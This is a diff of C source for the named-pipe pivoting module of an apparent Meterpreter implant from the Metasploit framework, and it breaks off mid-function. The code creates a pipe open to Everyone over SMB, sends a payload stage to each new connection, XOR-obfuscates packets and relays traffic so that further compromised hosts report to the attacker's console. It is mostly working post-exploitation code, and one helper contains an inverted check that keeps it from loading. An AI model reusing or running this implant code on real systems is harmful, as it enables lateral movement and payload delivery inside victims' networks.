-VOID create_pipe_security_attributes(PSECURITY_ATTRIBUTES psa) -{ - // Start with the DACL (perhaps try the NULL sid if it doesn't work?) - SID_IDENTIFIER_AUTHORITY sidWorld = SECURITY_WORLD_SID_AUTHORITY; - PSID sidEveryone = NULL; - if (!AllocateAndInitializeSid(&sidWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &sidEveryone)) - { - dprintf("[NP-SERVER] AllocateAndInitializeSid failed: %u", GetLastError()); - return; - } - - dprintf("[NP-SERVER] sidEveryone: %p", sidEveryone); - - EXPLICIT_ACCESSW ea = { 0 }; - ea.grfAccessPermissions = SPECIFIC_RIGHTS_ALL | STANDARD_RIGHTS_ALL; - ea.grfAccessMode = SET_ACCESS; - ea.grfInheritance = NO_INHERITANCE; - ea.Trustee.TrusteeForm = TRUSTEE_IS_SID; - ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; - ea.Trustee.ptstrName = (LPWSTR)sidEveryone; - - //PACL dacl = (PACL)LocalAlloc(LPTR, 256); - PACL dacl = NULL; - DWORD result = SetEntriesInAclW(1, &ea, NULL, &dacl); - if (result != ERROR_SUCCESS) - { - dprintf("[NP-SERVER] SetEntriesInAclW failed: %u", result); - } - dprintf("[NP-SERVER] DACL: %p", dacl); - - // set up the sacl - SID_IDENTIFIER_AUTHORITY sidLabel = SECURITY_MANDATORY_LABEL_AUTHORITY; - PSID sidLow = NULL; - if (!AllocateAndInitializeSid(&sidLabel, 1, SECURITY_MANDATORY_LOW_RID, 0, 0, 0, 0, 0, 0, 0, &sidLow)) - { - dprintf("[NP-SERVER] AllocateAndInitializeSid failed: %u", GetLastError()); - } - dprintf("[NP-SERVER] sidLow: %p", dacl); - - PACL sacl = (PACL)LocalAlloc(LPTR, 256); - if (!InitializeAcl(sacl, 256, ACL_REVISION_DS)) - { - dprintf("[NP-SERVER] InitializeAcl failed: %u", GetLastError()); - } - - if (!AddMandatoryAce(sacl, ACL_REVISION_DS, NO_PROPAGATE_INHERIT_ACE, 0, sidLow)) - { - dprintf("[NP-SERVER] AddMandatoryAce failed: %u", GetLastError()); - } - - // now build the descriptor - PSECURITY_DESCRIPTOR sd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH); - if (!InitializeSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION)) - { - dprintf("[NP-SERVER] InitializeSecurityDescriptor failed: %u", GetLastError()); - } - - // add the dacl - if (!SetSecurityDescriptorDacl(sd, TRUE, dacl, FALSE)) - { - dprintf("[NP-SERVER] SetSecurityDescriptorDacl failed: %u", GetLastError()); - } - - // now the sacl - if (!SetSecurityDescriptorSacl(sd, TRUE, sacl, FALSE)) - { - dprintf("[NP-SERVER] SetSecurityDescriptorSacl failed: %u", GetLastError()); - } - - psa->nLength = sizeof(SECURITY_ATTRIBUTES); - psa->bInheritHandle = FALSE; - psa->lpSecurityDescriptor = sd; -} - -DWORD toggle_privilege(LPCWSTR privName, BOOL enable, BOOL* wasEnabled) -{ - HANDLE accessToken; - TOKEN_PRIVILEGES tp; - TOKEN_PRIVILEGES prevTp; - LUID luid; - DWORD tpLen; - - if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &accessToken)) - { - dprintf("[NP-PRIV] Couldn't open process token: %u (%x)", GetLastError(), GetLastError()); - return GetLastError(); - } - - if (!LookupPrivilegeValueW(NULL, privName, &luid)) - { - dprintf("[NP-PRIV] Couldn't look up the value: %u (%x)", GetLastError(), GetLastError()); - return GetLastError(); - } - - tp.PrivilegeCount = 1; - tp.Privileges[0].Luid = luid; - tp.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0; - - if (!AdjustTokenPrivileges(accessToken, FALSE, &tp, sizeof(tp), &prevTp, &tpLen)) - { - dprintf("[NP-PRIV] Couldn't adjust the token privs: %u (%x)", GetLastError(), GetLastError()); - return GetLastError(); - } - - *wasEnabled = (prevTp.Privileges[0].Attributes & SE_PRIVILEGE_ENABLED) == SE_PRIVILEGE_ENABLED ? TRUE : FALSE; - dprintf("[NP-PRIV] the %S token was %senabled, and is now %s", privName, *wasEnabled ? "" : "not ", enable ? "enabled" : "disabled"); - - CloseHandle(accessToken); - - return ERROR_SUCCESS; -} - -DWORD create_pipe_server_instance(NamedPipeContext* ctx) -{ - DWORD dwResult = ERROR_SUCCESS; - - do - { - dprintf("[NP-SERVER] Creating new server instance of %s", ctx->name); - - BOOL wasEnabled; - DWORD toggleResult = toggle_privilege(SE_SECURITY_NAME, TRUE, &wasEnabled); - - if (toggleResult == ERROR_SUCCESS) - { - // set up a session that let's anyone with SMB access connect - SECURITY_ATTRIBUTES sa = { 0 }; - create_pipe_security_attributes(&sa); - ctx->pipe = CreateNamedPipeA(ctx->name, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE, PIPE_UNLIMITED_INSTANCES, PIPE_BUFFER_SIZE, PIPE_BUFFER_SIZE, 0, &sa); - - if (wasEnabled == FALSE) - { - toggle_privilege(SE_SECURITY_NAME, FALSE, &wasEnabled); - } - } - - if (ctx->pipe == INVALID_HANDLE_VALUE) - { - // Fallback on a pipe with simpler security attributes - ctx->pipe = CreateNamedPipeA(ctx->name, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE, PIPE_UNLIMITED_INSTANCES, PIPE_BUFFER_SIZE, PIPE_BUFFER_SIZE, 0, NULL); - } - - if (ctx->pipe == INVALID_HANDLE_VALUE) - { - BREAK_ON_ERROR("[NP-SERVER] Failed to create named pipe."); - } - - dprintf("[NP-SERVER] Creating the handler event"); - // This must be signalled, so that the connect event kicks off on the new thread. - ctx->read_overlap.hEvent = CreateEvent(NULL, TRUE, TRUE, NULL); - if (ctx->read_overlap.hEvent == NULL) - { - BREAK_ON_ERROR("[NP-SERVER] Failed to create connect event for read overlap."); - } - - // this should not be signalled as it's just for handling named pipe writes. - ctx->write_overlap.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); - if (ctx->write_overlap.hEvent == NULL) - { - BREAK_ON_ERROR("[NP-SERVER] Failed to create connect event for read overlap."); - } - - dprintf("[NP-SERVER] Inserting the named pipe schedule entry"); - scheduler_insert_waitable(ctx->read_overlap.hEvent, ctx, NULL, server_notify, server_destroy); - } while (0); - - return dwResult; -} - -/*! - * @brief Deallocates and cleans up the attributes of a named pipe server context. - * @param ctx Pointer to the context to free. - */ -static VOID free_server_context(NamedPipeContext* ctx) -{ - do - { - if (!ctx) - { - break; - } - - dprintf("[NP-SERVER] free_server_context. ctx=0x%08X", ctx); - - dprintf("[NP-SERVER] freeing up pipe handle 0x%x", ctx->pipe); - if (ctx->pipe != INVALID_HANDLE_VALUE && ctx->pipe != INVALID_HANDLE_VALUE) - { - CloseHandle(ctx->pipe); - ctx->pipe = INVALID_HANDLE_VALUE; - } - - if (ctx->read_overlap.hEvent != NULL) - { - dprintf("[NP-SERVER] free_server_context. signaling the thread to stop"); - scheduler_signal_waitable(ctx->read_overlap.hEvent, Stop); - ctx->read_overlap.hEvent = NULL; - } - - if (ctx->write_overlap.hEvent != NULL) - { - CloseHandle(ctx->write_overlap.hEvent); - ctx->write_overlap.hEvent = NULL; - } - - SAFE_FREE(ctx->packet_buffer); - - free(ctx); - - } while (0); -} - -/*! - * @brief Notify routine for a named pipe server channel to pick up its new client connections.. - * @param remote Pointer to the remote instance. - * @param serverCtx Pointer to the named pipe server context. - * @returns Indication of success or failure. - * @retval ERROR_SUCCESS Notification completed successfully. - */ -static DWORD server_notify(Remote* remote, LPVOID entryContext, LPVOID threadContext) -{ - DWORD dwResult = ERROR_SUCCESS; - Packet* request = NULL; - NamedPipeContext* serverCtx = (NamedPipeContext*)entryContext; - BOOL performRead = FALSE; - - do - { - if (!serverCtx) - { - BREAK_WITH_ERROR("[NP-SERVER] server_notify. serverCtx == NULL", ERROR_INVALID_HANDLE); - } - - if (serverCtx->pipe == INVALID_HANDLE_VALUE) - { - BREAK_WITH_ERROR("[NP-SERVER] pipe isn't present, we might be shutting down.", ERROR_INVALID_HANDLE); - } - - if (!serverCtx->connecting) - { - serverCtx->connecting = TRUE; - dprintf("[NP-SERVER] Connecting to the named pipe async"); - ConnectNamedPipe(serverCtx->pipe, &serverCtx->read_overlap); - - dwResult = GetLastError(); - dprintf("[NP-SERVER] checking the result of connect %u 0x%x", dwResult, dwResult); - if (dwResult == ERROR_IO_PENDING) - { - dprintf("[NP-SERVER] still waiting for an overlapped connection"); - break; - } - else if (dwResult == ERROR_PIPE_LISTENING) - { - dprintf("[NP-SERVER] client has connected apparently"); - serverCtx->established = TRUE; - // no break here, we want to continue - } - else - { - BREAK_WITH_ERROR("[NP-SERVER] Failed to connect to the named pipe", dwResult); - } - dwResult = ERROR_SUCCESS; - } - - DWORD bytesProcessed = 0; - dprintf("[NP-SERVER] Checking the overlapped result"); - if (!GetOverlappedResult(serverCtx->pipe, &serverCtx->read_overlap, &bytesProcessed, FALSE)) - { - dwResult = GetLastError(); - dprintf("[NP-SERVER] server_notify. unable to get the result, %u", dwResult); - - if (dwResult == ERROR_IO_INCOMPLETE) - { - dprintf("[NP-SERVER] still waiting for something to happen on the pipe"); - } - else if (dwResult == ERROR_BROKEN_PIPE) - { - dprintf("[NP-SERVER] the client appears to have bailed out, disconnecting..."); - // Reset the read event so that our schedular loop witll exit properly - ResetEvent(serverCtx->read_overlap.hEvent); - - // Prepare the notification packet for dispatching - Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, "core_pivot_session_died"); - packet_add_tlv_raw(notification, TLV_TYPE_SESSION_GUID, (LPVOID)&serverCtx->pivot_session_guid, sizeof(serverCtx->pivot_session_guid)); - - // Clean up the pivot context - PivotContext* pivotCtx = pivot_tree_remove(remote->pivot_sessions, (LPBYTE)&serverCtx->pivot_session_guid); -#ifdef DEBUGTRACE - dprintf("[PIVOTTREE] Pivot sessions (after one removed)"); - dbgprint_pivot_tree(remote->pivot_sessions); -#endif - SAFE_FREE(pivotCtx); - - // Clean up all the named pipe context stuff. - terminate_pipe(serverCtx); - - // Inform MSF of the dead session - packet_transmit(serverCtx->remote, notification, NULL); - - return ERROR_BROKEN_PIPE; - } - break; - } - - // spin up a new named pipe server instance to handle the next connection if this - // connection is new. - dprintf("[NP-SERVER] Apparently we have a result! With %u bytes", bytesProcessed); - if (!serverCtx->established) - { - // this is a connect, so tell MSF about it. - dprintf("[NP-SERVER] This appears to be a new connection, setting up context."); - - // Connection received, here we're going to create a new named pipe handle so that - // other connections can come in on it. We'll assume that it if worked once, it - // will work again this time - NamedPipeContext* nextCtx = (NamedPipeContext*)calloc(1, sizeof(NamedPipeContext)); - - // copy the relevant content over. - nextCtx->pipe = INVALID_HANDLE_VALUE; - nextCtx->remote = serverCtx->remote; - nextCtx->stage_data = serverCtx->stage_data; - nextCtx->stage_data_size = serverCtx->stage_data_size; - nextCtx->write_lock = lock_create(); - memcpy_s(&nextCtx->pivot_id, sizeof(nextCtx->pivot_id), &serverCtx->pivot_id, sizeof(nextCtx->pivot_id)); - memcpy_s(&nextCtx->name, PIPE_NAME_SIZE, &serverCtx->name, PIPE_NAME_SIZE); - - // create a new pipe for the next connection - DWORD result = create_pipe_server_instance(nextCtx); - if (result != ERROR_SUCCESS) - { - dprintf("[NP-SERVER] failed to create the pipe server instance: %u", result); - free_server_context(nextCtx); - } - - serverCtx->established = TRUE; - - // The current listener cotnext in the listeners tree points to the server instance that has now - // become a client instance due to the new connection. Therefore we need to update the pivot tree context - // to point to the new listener on the named pipe. - PivotContext* listenerCtx = pivot_tree_find(remote->pivot_listeners, (LPBYTE)&serverCtx->pivot_id); - if (listenerCtx != NULL) - { - dprintf("[NP-SERVER] Updating the listener context in the pivot tree"); - listenerCtx->state = nextCtx; - } - - // Time to stage the data - if (serverCtx->stage_data && serverCtx->stage_data_size > 0) - { - dprintf("[NP-SERVER] Sending stage on new connection"); - // send the stage length - named_pipe_write_raw(serverCtx, (LPBYTE)&serverCtx->stage_data_size, sizeof(serverCtx->stage_data_size)); - - // send the stage - named_pipe_write_raw(serverCtx, serverCtx->stage_data, serverCtx->stage_data_size); - - // to "hand over" the stage data, set the existing pointer to NULL so that things don't get freed - // when they shouldn't be. - serverCtx->stage_data = NULL; - } - - // We need to figure out if this is a new session without a session GUID or if it's an old - // session that's come back out of nowhere (transport switching, sleeping, etc). Create a packet - // that will request the guid, and track a random request ID to find the response later on. - dprintf("[NP-SERVER] Creating the guid request packet"); - Packet* getGuidPacket = packet_create(PACKET_TLV_TYPE_REQUEST, "core_get_session_guid"); - dprintf("[NP-SERVER] adding the request ID to the guid request packet"); - packet_add_request_id(getGuidPacket); - CHAR* requestId = packet_get_tlv_value_string(getGuidPacket, TLV_TYPE_REQUEST_ID); - dprintf("[NP-SERVER] Copying the request ID from the packet to the context"); - memcpy(serverCtx->guid_request_id, requestId, sizeof(serverCtx->guid_request_id)); - - // prepare the packet buffer for sending. - DWORD packetLength = getGuidPacket->payloadLength + sizeof(PacketHeader); - dprintf("[NP-SERVER] We think the packet length is %u (0x%x)", packetLength, packetLength); - LPBYTE packetBuffer = (LPBYTE)malloc(packetLength); - - dprintf("[NP-SERVER] Doing the XOR thing on the guid request packet"); - rand_xor_key(getGuidPacket->header.xor_key); - memcpy(packetBuffer, &getGuidPacket->header, sizeof(getGuidPacket->header)); - memcpy(packetBuffer + sizeof(getGuidPacket->header), getGuidPacket->payload, packetLength - sizeof(getGuidPacket->header)); - - // we don't support encryption at this point, but we do want to do the XOR thing! - xor_bytes(getGuidPacket->header.xor_key, packetBuffer + sizeof(getGuidPacket->header.xor_key), packetLength - sizeof(getGuidPacket->header.xor_key)); - - dprintf("[NP-SERVER] Sending the request packet to the new pivoted session"); - // Send the packet down to the newly created meterpreter session on the named pipe - named_pipe_write_raw(serverCtx, packetBuffer, packetLength); - - dprintf("[NP-SERVER] Freeing up the packet buffer"); - free(packetBuffer); - dprintf("[NP-SERVER] Done!"); - } - - if (bytesProcessed > 0) - { - dprintf("[NP-SERVER] read & sending bytes %u", bytesProcessed); - read_pipe_to_packet(serverCtx, serverCtx->read_buffer, bytesProcessed); - } - - performRead = TRUE; - } while (0); - - if (serverCtx->read_overlap.hEvent != NULL) - { - dprintf("[NP-SERVER] Resetting the event handle"); - ResetEvent(serverCtx->read_overlap.hEvent); - } - - // this has to be done after the signal is reset, otherwise ... STRANGE THINGS HAPPEN! - if (performRead) - { - // prepare for reading - serverCtx->read_overlap.Offset = 0; - serverCtx->read_overlap.OffsetHigh = 0; - - // read the data from the pipe, we're async, so the return value of the function is meaningless. - dprintf("[NP-SERVER] kicking off another read operation..."); - ReadFile(serverCtx->pipe, serverCtx->read_buffer, PIPE_BUFFER_SIZE, NULL, &serverCtx->read_overlap); - } - - return dwResult; -} - -/*! - * @brief Allocates a streaming named pipe server channel. - * @param remote Pointer to the remote instance. - * @param packet Pointer to the request packet. - * @returns Indication of success or failure. - * @retval ERROR_SUCCESS Opening the server channel completed successfully. - */ -DWORD request_core_pivot_add_named_pipe(Remote* remote, Packet* packet) -{ - DWORD dwResult = ERROR_SUCCESS; - NamedPipeContext* ctx = NULL; - Packet* response = NULL; - char* namedPipeName = NULL; - char* namedPipeServer = NULL; - - do - { - response = packet_create_response(packet); - if (!response) - { - BREAK_WITH_ERROR("[NP-SERVER] request_net_named_pipe_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY); - } - - ctx = (NamedPipeContext *)calloc(1, sizeof(NamedPipeContext)); - if (!ctx) - { - BREAK_WITH_ERROR("[NP-SERVER] request_net_named_pipe_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY); - } - - ctx->remote = remote; - ctx->write_lock = lock_create(); - - namedPipeName = packet_get_tlv_value_string(packet, TLV_TYPE_PIVOT_NAMED_PIPE_NAME); - if (!namedPipeName) - { - BREAK_WITH_ERROR("[NP-SERVER] request_net_named_pipe_server_channel_open. namedPipeName == NULL", ERROR_INVALID_PARAMETER); - } - - if (strchr(namedPipeName, '\\') != NULL) - { - BREAK_WITH_ERROR("[NP-SERVER] request_net_named_pipe_server_channel_open. namedPipeName contains backslash (invalid)", ERROR_INVALID_PARAMETER); - } - - //namedPipeServer = packet_get_tlv_value_string(packet, TLV_TYPE_NAMED_PIPE_SERVER); - if (namedPipeServer == NULL) - { - namedPipeServer = "."; - } - - LPBYTE pivotId = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_ID); - if (pivotId != NULL) - { - memcpy(&ctx->pivot_id, pivotId, sizeof(ctx->pivot_id)); - } - - LPVOID stageData = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_STAGE_DATA); - ctx->stage_data_size = packet_get_tlv_value_uint(packet, TLV_TYPE_PIVOT_STAGE_DATA_SIZE); - - if (stageData && ctx->stage_data_size > 0) - { - dprintf("[NP-SEVER] stage received, size is %u (%x)", ctx->stage_data_size, ctx->stage_data_size); - ctx->stage_data = (LPVOID)malloc(ctx->stage_data_size); - memcpy(ctx->stage_data, stageData, ctx->stage_data_size); - } - - // Default to invalid handle. - ctx->pipe = INVALID_HANDLE_VALUE; - - _snprintf_s(ctx->name, PIPE_NAME_SIZE, PIPE_NAME_SIZE - 1, "\\\\%s\\pipe\\%s", namedPipeServer, namedPipeName); - - dwResult = create_pipe_server_instance(ctx); - - dprintf("[NP-SERVER] creation of the named pipe returned: %d 0x%x", dwResult, dwResult); - - if (dwResult == ERROR_SUCCESS) - { - dprintf("[NP-SERVER] request_net_named_pipe_server_channel_open. named pipe server %s", namedPipeName); - PivotContext* pivotCtx = (PivotContext*)calloc(1, sizeof(PivotContext)); - pivotCtx->state = ctx; - pivotCtx->remove = remove_listener; - pivot_tree_add(remote->pivot_listeners, pivotId, pivotCtx); -#ifdef DEBUGTRACE - dprintf("[PIVOTTREE] Pivot listeners (after new one added)"); - dbgprint_pivot_tree(remote->pivot_listeners); -#endif - } - - } while (0); - - packet_transmit_response(dwResult, remote, response); - - do - { - if (dwResult == ERROR_SUCCESS) - { - break; - } - - dprintf("[NP-SERVER] Error encountered %u 0x%x", dwResult, dwResult); - - if (!ctx) - { - break; - } - - if (ctx->write_lock != NULL) - { - lock_destroy(ctx->write_lock); - } - - if (ctx->read_overlap.hEvent != NULL) - { - dprintf("[NP-SERVER] Destroying wait handle"); - CloseHandle(ctx->read_overlap.hEvent); - } - - if (ctx->pipe != NULL && ctx->pipe != INVALID_HANDLE_VALUE) - { - dprintf("[NP-SERVER] Destroying pipe"); - CloseHandle(ctx->pipe); - } - - free(ctx); - - } while (0); - - return dwResult; +#include "metsrv.h" +#include "server_pivot_named_pipe.h" +#include "packet_encryption.h" + +#include +#include + +#define PIPE_NAME_SIZE 256 +#define PIPE_BUFFER_SIZE 0x10000 + +typedef struct _NamedPipeContext +{ + // make sure we leave this as the first element, so that it can be cast + // to an OVERLAPPED pointer for various operations. + OVERLAPPED read_overlap; + OVERLAPPED write_overlap; + char name[PIPE_NAME_SIZE]; + GUID pivot_id; + GUID pivot_session_guid; + BOOL session_established; + CHAR guid_request_id[32]; + Remote* remote; + HANDLE pipe; + BOOL connecting; + BOOL established; + BYTE read_buffer[PIPE_BUFFER_SIZE]; + LPBYTE packet_buffer; + DWORD packet_buffer_size; + DWORD packet_buffer_offset; + DWORD packet_required_size; + LPVOID stage_data; + DWORD stage_data_size; + LOCK* write_lock; +} NamedPipeContext; + +static DWORD server_notify(Remote* remote, LPVOID entryContext, LPVOID threadContext); +static DWORD server_destroy(HANDLE waitable, LPVOID entryContext, LPVOID threadContext); +static DWORD named_pipe_write_raw(LPVOID state, LPBYTE raw, DWORD rawLength); +static VOID free_server_context(NamedPipeContext* ctx); + +typedef BOOL (WINAPI *PAddMandatoryAce)(PACL pAcl, DWORD dwAceRevision, DWORD dwAceFlags, DWORD dwMandatoryPolicy, PSID pLabelSid); +static BOOL WINAPI AddMandatoryAce(PACL pAcl, DWORD dwAceRevision, DWORD dwAceFlags, DWORD dwMandatoryPolicy, PSID pLabelSid) +{ + static BOOL attempted = FALSE; + static PAddMandatoryAce pAddMandatoryAce = NULL; + + if (attempted) + { + attempted = TRUE; + + HMODULE lib = LoadLibraryA("advapi32.dll"); + if (lib != NULL) + { + pAddMandatoryAce = (PAddMandatoryAce)GetProcAddress(lib, "AddMandatoryAce"); + dprintf("[NP-SERVER] AddMandatoryAce: %p", pAddMandatoryAce); + } + } + + if (pAddMandatoryAce != NULL) + { + pAddMandatoryAce(pAcl, dwAceRevision, dwAceFlags, dwMandatoryPolicy, pLabelSid); + } + + return TRUE; +} + +static DWORD server_destroy(HANDLE waitable, LPVOID entryContext, LPVOID threadContext) +{ + NamedPipeContext* ctx = (NamedPipeContext*)entryContext; + if (ctx != NULL) + { + dprintf("[PIVOT] Cleaning up the pipe pivot context"); + lock_acquire(ctx->remote->lock); + CloseHandle(ctx->pipe); + CloseHandle(ctx->read_overlap.hEvent); + CloseHandle(ctx->write_overlap.hEvent); + SAFE_FREE(ctx->stage_data); + lock_destroy(ctx->write_lock); + lock_release(ctx->remote->lock); + dprintf("[PIVOT] Cleaned up the pipe pivot context"); + } + return ERROR_SUCCESS; +} + +static void terminate_pipe(NamedPipeContext* ctx) +{ + if (ctx != NULL) + { + scheduler_signal_waitable(ctx->read_overlap.hEvent, SchedulerStop); + } +} + +static DWORD remove_listener(LPVOID state) +{ + dprintf("[PIVOT] removing named pipe listener"); + terminate_pipe((NamedPipeContext*)state); + return ERROR_SUCCESS; +} + +static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sourceSize) +{ + BOOL relayPacket = TRUE; + // Make sure we have the space to handle the incoming packet + if (ctx->packet_buffer_size < sourceSize + ctx->packet_buffer_offset) + { + ctx->packet_buffer_size = sourceSize + ctx->packet_buffer_offset; + dprintf("[PIVOT] Allocating space: %u bytes", ctx->packet_buffer_size); + ctx->packet_buffer = (LPBYTE)realloc(ctx->packet_buffer, ctx->packet_buffer_size); + } + + // copy over the new data + memcpy(ctx->packet_buffer + ctx->packet_buffer_offset, source, sourceSize); + ctx->packet_buffer_offset += sourceSize; + + // check if the packet is complete + if (ctx->packet_required_size == 0) + { + dprintf("[PIVOT] Size not yet calculated"); + if (ctx->packet_buffer_offset >= sizeof(PacketHeader)) + { + dprintf("[PIVOT] header bytes received, calculating buffer offset"); + // get a copy of the header data and XOR it out so we can read the length + PacketHeader* header = (PacketHeader*)ctx->packet_buffer; +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)ctx->packet_buffer; + dprintf("[PIVOT] Packet header before XOR: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + xor_bytes(header->xor_key, (LPBYTE)&header->length, sizeof(header->length)); +#ifdef DEBUGTRACE + h = (PUCHAR)ctx->packet_buffer; + dprintf("[PIVOT] Packet header after XOR: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + ctx->packet_required_size = ntohl(header->length) + sizeof(PacketHeader) - sizeof(TlvHeader); + xor_bytes(header->xor_key, (LPBYTE)&header->length, sizeof(header->length)); + dprintf("[PIVOT] Required size is %u bytes", ctx->packet_required_size); + } + } + + if (ctx->packet_required_size > 0 && ctx->packet_required_size <= ctx->packet_buffer_offset) + { + // whole packet is ready for transmission to the other side! Pivot straight through the existing + // transport by sending the raw packet to the transmitter. + if (!ctx->session_established) + { + dprintf("[PIPE] Session not yet established, checking for response packet"); + // we need to check if this packet contains a response to the request for a session guid + PacketHeader* header = (PacketHeader*)ctx->packet_buffer; + xor_bytes(header->xor_key, (LPBYTE)&header->session_guid, ctx->packet_required_size - sizeof(header->xor_key)); + if (header->enc_flags == ENC_FLAG_NONE) + { + dprintf("[PIPE] Incoming packet is not encrypted!"); + Packet* packet = (Packet*)calloc(1, sizeof(Packet)); + packet->header.length = header->length; + packet->header.type = header->type; + packet->payloadLength = ntohl(packet->header.length) - sizeof(TlvHeader); + packet->payload = ctx->packet_buffer + sizeof(PacketHeader); + + CHAR* requestId = packet_get_tlv_value_string(packet, TLV_TYPE_REQUEST_ID); + if (requestId != NULL && memcmp(ctx->guid_request_id, requestId, sizeof(ctx->guid_request_id)) == 0) + { + dprintf("[PIPE] Request ID found and matches expected value"); + // we have a response to our session guid request + LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID); +#ifdef DEBUGTRACE + PUCHAR h = (PUCHAR)&sessionGuid[0]; + dprintf("[PIPE] Returned session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); + h = (PUCHAR)&ctx->pivot_session_guid; + dprintf("[PIPE] Pivot session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); + dprintf("[PIPE] Session pivot session guid size: %u", sizeof(ctx->pivot_session_guid)); +#endif + if (sessionGuid != NULL && memcmp(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)) != 0) + { + dprintf("[PIPE] Session guid returned, looks like the session is a reconnect"); + memcpy(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)); + + PivotContext* pc = pivot_tree_remove(ctx->remote->pivot_sessions, (LPBYTE)&ctx->pivot_session_guid); + if (pc != NULL) + { + dprintf("[PIPE] We seem to have acquired a new instance of a pivot we didnt know was dead. Killing!"); + free_server_context((NamedPipeContext*)pc->state); + free(pc); + } + } + else + { + dprintf("[PIPE] Session guid not found, looks like the session is new"); + + // We need to generate a new session GUID and inform metasploit of the new session + CoCreateGuid(&ctx->pivot_session_guid); + + // swizzle the values around so that endianness isn't an issue before casting to a block of bytes + ctx->pivot_session_guid.Data1 = htonl(ctx->pivot_session_guid.Data1); + ctx->pivot_session_guid.Data2 = htons(ctx->pivot_session_guid.Data2); + ctx->pivot_session_guid.Data3 = htons(ctx->pivot_session_guid.Data3); + } + + ctx->session_established = TRUE; + + PivotContext* pivotContext = (PivotContext*)calloc(1, sizeof(PivotContext)); + pivotContext->state = ctx; + pivotContext->packet_write = named_pipe_write_raw; + pivot_tree_add(ctx->remote->pivot_sessions, (LPBYTE)&ctx->pivot_session_guid, pivotContext); +#ifdef DEBUGTRACE + dprintf("[PIVOTTREE] Pivot sessions (after new one added)"); + dbgprint_pivot_tree(ctx->remote->pivot_sessions); +#endif + + // with the session now established, we need to inform metasploit of the new connection + dprintf("[PIPE] Informing MSF of the new named pipe pivot"); + Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, "core_pivot_session_new"); + packet_add_tlv_raw(notification, TLV_TYPE_SESSION_GUID, (LPVOID)&ctx->pivot_session_guid, sizeof(ctx->pivot_session_guid)); + packet_add_tlv_raw(notification, TLV_TYPE_PIVOT_ID, (LPVOID)&ctx->pivot_id, sizeof(ctx->pivot_id)); + packet_transmit(ctx->remote, notification, NULL); + + relayPacket = FALSE; + } + + free(packet); + } + xor_bytes(header->xor_key, (LPBYTE)&header->session_guid, ctx->packet_required_size - sizeof(header->xor_key)); + } + + if (relayPacket) + { + dprintf("[PIVOT] Entire packet is ready, size is %u, offset is %u", ctx->packet_required_size, ctx->packet_buffer_offset); + ctx->remote->transport->packet_transmit(ctx->remote, ctx->packet_buffer, ctx->packet_required_size); + } + // TODO: error check? + + // with the packet sent, we need to rejig a bit here so that the next block of data + // results in a new packet. + DWORD diff = ctx->packet_buffer_offset - ctx->packet_required_size; + if (diff > 0) + { + dprintf("[PIVOT] Extra %u bytes found, shuffling data", diff); + memmove(ctx->packet_buffer, ctx->packet_buffer + ctx->packet_required_size, diff); + }; + dprintf("[PIVOT] Packet buffer reset"); + ctx->packet_buffer_offset = diff; + ctx->packet_required_size = 0; + } + + return ERROR_SUCCESS; +} + +static DWORD named_pipe_write_raw(LPVOID state, LPBYTE raw, DWORD rawLength) +{ + NamedPipeContext* ctx = (NamedPipeContext*)state; + DWORD dwResult = ERROR_SUCCESS; + DWORD bytesWritten = 0; + + lock_acquire(ctx->write_lock); + + dprintf("[NP-SERVER] Writing a total of %u", rawLength); + while (bytesWritten < rawLength) + { + DWORD byteCount = 0; + WriteFile(ctx->pipe, raw, rawLength - bytesWritten, NULL, &ctx->write_overlap); + 